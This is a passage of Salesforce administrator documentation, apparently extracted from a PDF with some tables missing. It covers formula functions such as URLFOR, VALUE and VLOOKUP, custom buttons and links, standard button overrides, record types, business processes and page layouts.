standard Salesforce page regardless of whether you have defined an override for it elsewhere.
To access a Visualforce page, simple enter the name of your page preceeded by an apex/.
For example, if your Visualforce page is named myTestPage, you would use
{!URLFOR("apex/myTestPage"}.
Visualforce Example:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}"
width="50" height="50"/>
In this example, the <apex:image> component references a .jpg file contained within a
.zip file that has been uploaded as a static resource. When uploaded, the name of the static
resource was defined as TestZip, and the path to the image within the resource is
images/Bluehills.jpg.
Tips:
Use global variables to access special merge fields for actions, s-controls, and static
resources.
If an input parameter name begins with any character other than a letter or dollar sign
($), enclose it in quotation marks.
1247
Customize
Set inputs to null if you do not have any to pass yet you want to set the no override
argument:
{!URLFOR($Action.Case.View, Case.Id, null, true)}
When you override a standard action, that action is no longer available in Salesforce. For
example, if you override the new account action, that affects the New button on all pages
such as the account detail page, account related lists on other detail pages, and the Create
New drop down list in the sidebar. To override a standard action yet still access it, use
the no override argument in your s-control to reference that action.
When you override the tab home page for a standard or custom tab, set target to the
Tab $Action global variable and id to the object type. For example,
URLFOR($Action.Account.Tab, $ObjectType.Account)
This function is only available in custom buttons, links, s-controls, and Visualforce pages.
VALUE
Description:
Use:
VALUE(text) and replace text with the field or expression you want converted into a
number.
Example:
Lead Number
VALUE(Lead_Number__c) returns a number for the text value in the auto-number field
Lead Number. This can be useful if you want to use the Lead Number field in a calculation.
Note that auto-number fields are actually text fields and must be converted to a number for
numeric calculations.
Round Robin Lead Assignment
MOD(VALUE(Lead_Number__c), 3)
This formula is for a custom formula field named Round_Robin_ID that assigns each lead
a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead Number
that assigns each lead a unique number starting with 1. The MOD function divides the lead
number by the number of lead queues available (three in this example) and returns a remainder
of 0, 1, or 2. Use the value of this formula field in your lead assignment rules to assign lead
records to different queues. For example:
Tips:
Make sure the text in a VALUE function does not include any special characters other than
a decimal point (period) or minus sign (dash). For example, the formula
VALUE(Text_field__c) produces these results:
1248
Customize
VLOOKUP
Description:
Returns a value by looking up a related value on a custom object similar to the VLOOKUP()
Excel function.
Use:
This example checks that a billing postal code is valid by looking up the first five characters
of the value in a custom object called Zip_Code__c that contains a record for every valid zip
code in the US. If the zip code is not found in the Zip_Code__c object or the billing state
does not match the corresponding State_Code__c in the Zip_Code__c object, an error is
displayed.
AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState
)
Note:
Tips:
1249
Customize
YEAR
Description:
Use:
YEAR(date) and replace date with the field or expression that contains the year you want
returned.
Example:
See Also:
Examples of Advanced Formula Fields
About Formulas
Building Formulas
Customize Application
See Also:
Notes on Changing Custom Field Types
About Roll-Up Summary Fields
1250
Customize
Only convert custom fields for which no data exists or you risk losing your data. Changing the data type of an existing
custom field can cause data loss in the following situations:
If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected.
If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted.
If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number,
or email will cause the field to no longer act as an external ID.
The option to change the data type of a custom field is not available for all data types. For example, existing custom fields
cannot be converted into encrypted fields nor can encrypted fields be converted into another data type.
In Salesforce Knowledge article types, the file field type can't be converted into other data types.
You cannot change the data type of a custom field that is referenced by a Visualforce page.
For descriptions of other attributes you can set, see Custom Field Attributes on page 1081.
Changing a custom field type may require changing a large number of records at once. To process these changes efficiently,
you request may be queued and you may receive an email notification when the process has completed.
Before changing a custom field's type, make sure that it isn't the target of a workflow field update or referenced in a field
update formula that would be invalidated by the new type.
The following data types have additional restrictions when you convert them:
Data Type
Description
Auto Number
1251
Customize
Data Type
Description
Formula
Picklist
Relationships
You can only convert rich text area fields into long text area
fields. Any images are deleted the next time the long text area
field is saved. After converting, markup is hidden in the long
text area field but it is not removed from the record until you
save the record. That way, the markup can be restored if you
change your mind.
Note: You cannot change the data type of a custom field if it is referenced in Apex. For more information, see Apex
Code Overview on page 1994.
See Also:
Custom Field Attributes
1252
Customize
Customize Application
Create custom buttons and links to integrate Salesforce data with external URLs, applications, your companys intranet, or
other back-end office systems.
Custom links can link to:
Connect users to external applications, such as a web page that displays a map to a contact's address.
Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page.
Launch custom links.
For both custom links and buttons, you can choose the display window properties that determine how the target of a link or
button is displayed to your users. Custom links and s-controls can include Salesforce fields as tokens within the URL or custom
s-control. For example, you could include an account name in a URL that searches Yahoo:
http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and
functions.
In addition, you can override the default action of some standard buttons and customize the behavior of tab home pages to
suit your organization's needs. For more information, see Overriding Standard Buttons and Tab Home Pages on page 1260.
See Also:
Defining Custom Buttons and Links
Adding Default Custom Links
About S-Controls
Administrator tip sheet: Building Salesforce Custom Links
1253
Customize
Customize Application
Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce
page if you want the button or link to launch a custom page or other code.
To define custom buttons and links:
1. Select Your Name > Setup > Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom
buttons are not available on the user object or custom home pages.
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you
can override a button that applies to both tasks and events by clicking Your Name > Setup > Customize > Activities >
Activity Buttons.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click New from the Custom Buttons and Links section.
3. Enter the following attributes:
Attribute Name
Description
Label
The text that displays on user pages for the custom button or link.
Name
The unique name for the button or link used when referenced from a merge field. This name
can contain only underscores and alphanumeric characters, and must be unique in your
organization. It must begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
Namespace Prefix
Protected Component Protected components cannot be linked to or referenced by components created in a subscriber
Text that distinguishes the button or link from others. This displays only to administrators
when setting up buttons and links.
1254
Customize
Attribute Name
Description
Display Type
Behavior
Content Source
Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content
of the button or link. To use an s-control, choose Custom S-Control, and select the s-control
from the drop-down list. To use a URL, select URL, and enter the link below in the text
area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript
code when the button or link is activated, select OnClick JavaScript, and enter the code in
the text area box below. To use a Visualforce page, select Visualforce Page, and choose the
page from the drop-down list.
Note:
Content
Visualforce pages used as custom links on the home page cannot specify a
controller.
Visualforce pages used as custom buttons or links on detail pages must specify a
standard controller of the same object.
Visualforce pages used as custom list buttons must use a standard list controller
of the same object.
Enter the content of the button or link for buttons and links of type URL or OnClick
JavaScript:
To insert a field, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.
1255
Customize
Attribute Name
Description
To insert activity merge fields, select Event or Task from the Select Field Type
drop-down list.
To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 1203.
To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
Tip: Internet standards require special encoding for URLs. Salesforce automatically
encodes the text from any merge field you insert into a link. Encode any additional
text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%
Salesforce automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Link Encoding
Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if
the target of a link requires data in a different format. This is available if your Content Source
is URL.
4. Optionally, click Check Syntax to validate all Salesforce merge fields and functions.
5. Click Save when you are finished.
Click Quick Save to save and continue editing.
Click Preview to view the URL specified.
Click Cancel to quit without saving your content.
6. Edit the page layout for the appropriate tab or search layout to display the new button or link.
If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail
page buttons can only be added to the Button Section of a page layout.
7. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default
browser settings.
1256
Customize
Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may
exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.
See Also:
Custom Button Considerations
Viewing References to Salesforce Components
Useful Custom Buttons and Links
Editing Window Open Properties
Adding Default Custom Links
Overriding Standard Buttons and Tab Home Pages
Customize Application
Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a
popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the
default settings of the users browser.
To edit the window open properties:
1. Select the custom button or link by clicking Your Name > Setup > Customize, selecting the appropriate tab or users link,
clicking Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click Window Open Properties.
3. Edit the following properties:
Window Property
Description
Width
Height
Window Position
Resizeable
Show Scrollbars
1257
Customize
Window Property
Description
Show Toolbars
Note: Some properties may not be available depending on the Behavior of the custom button or link. For
example, if you chose Execute JavaScript, no window open properties are available.
See Also:
Defining Custom Buttons and Links
Customize Application
Review the following implementation notes and best practices for custom buttons:
Implementation Notes
Custom buttons display at the top and bottom of the detail page to the right of all standard buttons.
You can include s-controls in any field section on your page layout to display the s-control content inline without requiring
users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the
page layout.
If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control
directly on your page layout.
Custom buttons are not distinguished from standard buttons in any graphical way. However, you can recognize them by
their location on the right of all standard buttons.
If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets
too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap.
Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button
to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list
view or search result layouts. To override a button that applies to both tasks and events, click Your Name > Setup >
Customize > Activities > Activity Buttons.
1258
Customize
Custom buttons are not available for Web-to-Lead, Web-to-Case, the Case Teams related list, or the user object.
If your organization uses person accounts, your person account records use any custom buttons and links you have made
for accounts. Use the person account page layouts to edit any custom links or detail page buttons for person account records.
To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts
where you access account search layouts.
If your organization uses the Console tab, list buttons are available in the Mass Action drop-down list. List buttons will
not display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the
header or sidebar.
If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR
function.
When creating custom buttons, be mindful of any validation rules your organization has for records on that object. For
example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce
displays the error message for the validation rule when users click the custom button.
If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.
Best Practices
Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your
HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using
functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript
variable that is returned from your code.
To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather
than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and
users can navigate to the new or edit page manually.
Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
To insert activity merge fields, select Event or Task from the Select Field Type drop-down list.
Do not select the Display Checkboxes (for Multi-Record Selection) option for list buttons that link to a URL that does
not support post operations. Checkboxes display next to records in a list if you have selected the Display Checkboxes (for
Multi-Record Selection) option for at least one list button in that list. However, selected records in this list are unaffected
when clicking a custom list button that does not have this option selected.
For considerations on overriding standard buttons, see Overriding Standard Buttons and Tab Home Pages on page 1260.
See Also:
Defining Custom Buttons and Links
Useful Custom Buttons and Links
1259
Customize
Customize Application
Select Your Name > Setup > Customize, select the appropriate tab link, and choose Buttons and Links.
Click Default Custom Links.
Click Add Now! next to a sample link you want to add.
Change any of the default data for the link, as necessary.
Choose Save.
Edit the page layout for the appropriate tab to display the new link. See Managing Page Layouts on page 1276.
See Also:
Defining Custom Buttons and Links
Customize Application
Customize Application
Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home
page that displays when a user clicks a standard or custom object tab.
To override a standard button or a tab home page:
1. Before you override a standard button, review the considerations for overriding standard buttons.
2. Navigate to the appropriate override page:
For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click
Buttons and Links.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
1260
Customize
In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override.
Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.
3. Pick the type of override you want associated with the action:
No Override (use default)Use a custom override provided by an installed package. If there isn't one installed, the
standard Salesforce behavior is used.
Standard Salesforce PageThis option is only available for subscribers who are overriding the actions on an installed
custom object. If selected, the standard Salesforce behavior is used.
Custom S-ControlUse the behavior from an s-control. S-controls have been superseded by Visualforce pages. After
March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create
them. Existing s-controls will remain unaffected, and can still be edited.
Visualforce PageUse the behavior from a Visualforce page.
4. Select the name of the s-control or Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object
on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts,
the page markup must include the standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account">
... page content here ...
</apex:page>
When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab,
pages with a custom controller, or pages with no controller can be selected.
When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected.
When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page.
If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your
Visualforce page is already handling record types.
5. Optionally, enter any comments to note the reason for making this change.
6. Click Save.
Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if
you override the New button on opportunities, your replacement action takes effect wherever that action is available:
To remove an override:
1. Click Your Name > Setup > Customize, select the appropriate object or tab link, and then click Buttons and Links.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click Edit next to the override.
1261
Customize
See Also:
Useful S-Controls
Defining Custom Buttons and Links
Customize Application
You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom
S-Controls on page 2124.
You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see
Defining Visualforce Pages on page 2103.
If you override a standard button in Salesforce, that button is still available in Connect Offline or Salesforce Mobile, but
it retains its original behavior.
You cannot add button overrides to a Force.com AppExchange package.
Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you
can override New, View, Edit, and Delete buttons.
The View standard button refers to all of the links in Salesforce that display the detail page for a record. Overriding the
View standard button reroutes all of these links.
If a button is not available for overrides, you can still hide it on the page layout.
Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an
account also overrides the account option in the Create New drop-down list in the sidebar.
You can override buttons on the detail page but not the edit page of a record.
Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result
layouts under search layouts.
Buttons on reports cannot be changed.
Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled.
If your organization uses person accounts, your person account records use any standard button overrides you have made
for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons
you have made for contacts.
If your organization uses the Console tab, overrides for the Edit and View buttons for an object do not affect the Edit and
View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or
sidebar.
1262
Customize
If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.
See Also:
Overriding Standard Buttons and Tab Home Pages
Customize Application
Customize Application
Customize Application
Customize Application
You can view a list of all the areas in Salesforce that reference a component. For example, view the custom links, custom
buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the
component. Salesforce lists the type of component that references the component and the label for that component. Click any
item in the list to view it directly.
See Also:
What is a Static Resource?
Defining Custom Buttons and Links
Custom Button Considerations
About S-Controls
Visualforce Overview
What is a Custom Component?
1263
Customize
Customize Application
Custom buttons and links are available in: All Editions except Database.com
Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Use the following samples to get started using custom buttons and links:
See Also:
Defining Custom Buttons and Links
Custom Button Considerations
1264
Customize
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
Note: This example is for contacts. Change the object type for a different type of record.
2. Add the button to the appropriate related list on a page layout or list view layout.
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
1265
Customize
numSucceeded++;
} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}
2. Define a custom list button for accounts with the following attributes:
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
1266
Customize
3. Add the custom list button to the appropriate page layout or list view layout.
Reopening Cases
Related lists are valuable because they allow users to perform an action on several records at once. Add a custom list button
to your cases related lists so that users can reopen several cases on an opportunity at once.
1. Define a custom list button for cases with the following attributes:
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
Note: This example references the AJAX Toolkit, which is available if API access is enabled for your
organization. For more information about the AJAX Toolkit, see https://wiki.developerforce.com/index.php/API.
2. Add the custom list button to your opportunity page layouts by editing the Cases related list.
Tip: Use this list button on any page layout that contains the cases related list, such as account or contact page
layouts.
Note: Notice the check for records[0] == null, which displays a message to users when they do not select at
least one record in the list.
1267
Record Types
RECORD TYPES
Managing Record Types
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their
profiles. Record types can be used in various ways, for example:
Create record types for opportunities to differentiate your regular sales deals from your professional services engagements
and offer different picklist values for each.
Create record types for cases to display different page layouts for your customer support cases versus your billing cases.
The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:
Opportunity Stage
Case Status
Solution Status
Lead Status
You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
Person accounts are account records to which a special kind of record type has been assigned. These record types are called
person account record types. Person account record types allow contact fields to be available on the account and allow the
account to be used in many situations as if it were a contact. A default person account record type named Person Account
is automatically created when person accounts are enabled for your organization. You can change the name of this record
type, and you can create additional person account record types.
You cannot delete all the record types for an object if the object is referenced in Apex.
You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand
Email-to-Case.
To create record types for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Members
> Record Types.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.
1268
Customize
The following campaign member picklists are not available for record types:
Status
Salutation
Lead Source
Salesforce recommends creating no more than 200 record types. While there is no limit, organizations may have difficulty
managing their record types if they exceed 200.
See Also:
Viewing and Editing Record Types
Setting Record Type Preferences
Creating Record Types
Assigning Page Layouts
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Assigning Record Types to Profiles in the Original Profile User Interface
Administrator tip sheet: Tips & Hints for Record Types
Customize Application
1269
Customize
10. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the
checkbox in the header row to enable it for all profiles.
11. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox
in the header row to make it the default for all profiles.
12. Click Next.
13. Choose a page layout option to determine what page layout displays for records with this record type:
To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.
14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.
See Also:
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Assigning Record Types to Profiles in the Original Profile User Interface
What is a Person Account?
Customize Application
Customize Application
The master picklist, the complete list of values in a picklist, is independent of all record types and business processes. If
you add a picklist value to the master picklist, you must manually include the new value in the appropriate record types. If
1270
Customize
you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to
that value are unchanged.
Renaming a record type does not change the list of values included in it.
The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:
Opportunity Stage
Case Status
Solution Status
Lead Status
You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
The following campaign member picklists are not available for record types:
Status
Salutation
Lead Source
After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record
detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing
campaigns for both US and European divisions can have both US and European campaign record types available when
creating new campaigns.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.
See Also:
About Custom Fields
Setting Record Type Preferences
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Assigning Record Types to Profiles in the Original Profile User Interface
Customize Application
To view a list of record types, click Your Name > Setup > Customize, select an object, and click Record Types. For campaign
member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members > Record Types.
1271
Customize
Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type
field blank on records associated with the deleted record type, select None.
Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and
campaign member records.
Click the name of the record type to edit the picklists associated with it.
Click Page Layout Assignment to set which page layouts users can see based on profiles and record types.
Note: You cannot edit or delete a record type for an object if the object is referenced in Apex. For more information,
see Apex Code Overview on page 1994.
See Also:
Assigning Page Layouts
About Field Accessibility
Criteria-Based Sharing Rules Overview
Customize Application
Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes
allow you to track separate sales, support, and lead lifecycles.
Sales Processes
Create different sales processes that include some or all of the picklist values available for the opportunity Stage field.
Lead Processes
Create different lead processes that include some or all of the picklist values available for the Lead Status field.
1272
Customize
Support Processes
Create different support processes that include some or all of the picklist values available for the case Status field.
Solution Processes
Create different solution processes that include some or all of the picklist values available for the Status field.
After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the
user profiles that are associated with the business process.
To view a list of business processes, click Your Name > Setup > Customize, select the appropriate tab link (Opportunity,
Case, Lead, or Solution), and click the Processes link.
Click New to create a new business process.
Click Edit to change the name or inactivate the business process.
Click Del to delete an unused business process.
Click the name of the business process to edit the picklist values associated with it.
See Also:
Administrator tip sheet: Tips & Hints for Multiple Business Processes
Customize Application
Follow these steps to create sales processes, support processes, lead processes, and solution processes.
1.
2.
3.
4.
Select Your Name > Setup > Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution.
Click the Processes link.
Click New.
Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist
values.
5. Enter a name and description for the new process. The name must be unique within the tab.
6. Click Save.
All of the available values in the picklist are displayed. Choose the values that you would like included in the new business
process.
7. See Editing Picklists for Record Types and Business Processes for instructions on building the list of values for this business
process.
1273
Customize
Next, add the new business process to a record type (see Managing Record Types) and then make the record type available to
users based on profile (see Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on
page 535 or Assigning Record Types to Profiles in the Original Profile User Interface on page 545).
Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout
and organization of detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. Customize
search layouts to change which fields display in search results and the buttons that display on list views.
Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be
able to access those fields by other means, including reports, search results, list views, and the API. Use field-level
security to restrict all means of accessing a field. Field-level security doesn't prevent searching on the values in a field.
To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden
by field-level security, contact salesforce.com Customer Support.
Field-Level Security
Restrict users access to view and edit fields by any means, including reports, search results, list views, related lists, email
and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal
data.
Override any less-restrictive field access settings in page layouts and mini page layouts.
For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security
overrides the page layout and the field will be read only for the user.
Page Layouts
1274
Customize
Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of
field-level security, make it a universally required field.
See Also:
Managing Page Layouts
Field-Level Security Overview
Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and
edit pages within tabs. This reduces the number of page layouts for you to maintain.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support.
For Personal, Contact Manager, Group, and Professional Editions
1.
2.
3.
4.
5.
6.
1275
Customize
12. Define search layouts. All users use the same search layouts.
See Also:
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security
Customize Application
You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce Customer Portal
pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce,
custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can
include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the
size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display.
To work with page layouts, go to Your Name > Setup > Customize, click the appropriate kind of record, and select Page
Layouts. You can:
Click New to create layouts; see Creating Page Layouts on page 1277.
Click Edit to modify layouts or customize related lists; see Customizing Page Layouts on page 1278.
Click Del to delete layouts; see Deleting Page Layouts on page 1295.
Click Page Layout Assignment to assign page layouts to profiles and record types; see Assigning Page Layouts on page
1295.
For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise,
Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types
and set field-level security settings to further restrict users access to specific fields. See Assigning Page Layouts on page 1295
and Field-Level Security Overview on page 663 for more information.
In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that
appear in the Console tab. See Choosing Related Objects for the Console's Mini View on page 3304 and Defining Mini Page
Layouts on page 3305 for more information.
Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize
detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level
security settings override the visible and read-only settings on the page layout if the field-level security has a more
restrictive setting than the page layout.
1276
Customize
Note: A background process periodically runs that cleans up metadata associated with deleted custom fields. This
process will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and
custom objects.
See Also:
Overview of Page Layouts and Field-Level Security
Editing Mobile Object Properties
About Field Accessibility
Customizing Home Tab Page Layouts
Setting Up Self-Service
Setting Up the Console Tab
Setting Up Your Customer Portal
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security
Customize Application
In the enhanced page layout editor, click Edit next to a layout, and then click Save As on the layout
page.
In the original page layout editor, select a layout, and then click Clone on the layout page.
If you clone a page layout using this method, skip the following step.
3. Optionally, choose an existing page layout to clone.
4. Type a name for the new layout.
5. Click Save.
1277
Customize
See Customizing Page Layouts for instructions on modifying layouts. For information on defining mini page layouts for the
Console tab, see Setting Up the Console Tab on page 3302.
See Also:
Managing Page Layouts
Customizing Related Lists
Overview of Page Layouts and Field-Level Security
Customize Application
View Setup
Salesforce has two drag-and-drop tools for editing page layouts: the original page layout editor and a new enhanced page
layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor,
as well as additional functionality and an easier-to-use WYSIWYG interface.
If you want to use the original page layout editor, you can enable it for your organization in the User Interface settings. Your
organization can use only one of the page layout editors at a time.
Accessing the Enhanced Page Layout Editor
To access page layouts for standard objects:
1. Select Your Name > Setup > Customize.
2. Choose the object.
3. Complete one of the following:
In Enterprise, Unlimited, and Developer Edition organizations, choose the Page Layouts link, and click Edit next to
the page layout you want to customize.
Note: If you have the View Setup permission only, the Edit button is not available. Instead, click the name
of the page layout to view it.
1278
Customize
Note: If you have the View Setup permission only, the Edit button is not available. Instead, click the name of
the page layout to view it.
Alternatively, when youre on a detail page, click the Edit Layout link in the upper-right corner to customize the page layout.
Salesforce displays the Edit Layout link only to users with the Customize Application permission.
For more information on the enhanced page layout editor, see Customizing Page Layouts with the Enhanced Page Layout
Editor on page 1280.
Accessing the Original Page Layout Editor
To access page layouts for standard objects:
1. Select Your Name > Setup > Customize.
2. Choose the object.
3. Complete one of the following:
In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.
In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.
For more information on the original page layout editor, see Customizing Page Layouts with the Original Page Layout Editor
on page 1288.
See Also:
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal
1279
Customize
Customize Application
View Setup
The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organizations page
layouts for detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. The enhanced page
layout editor is enabled by default and provides all of the functionality of the original page layout editor, as well as additional
functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts on page 1278.
The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the
lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and
any additional elements that are available for you to add to the page layout.
When working with enhanced page layout editor:
To add a user interface element to the page layout, select the category to which the element belongs on the left column of
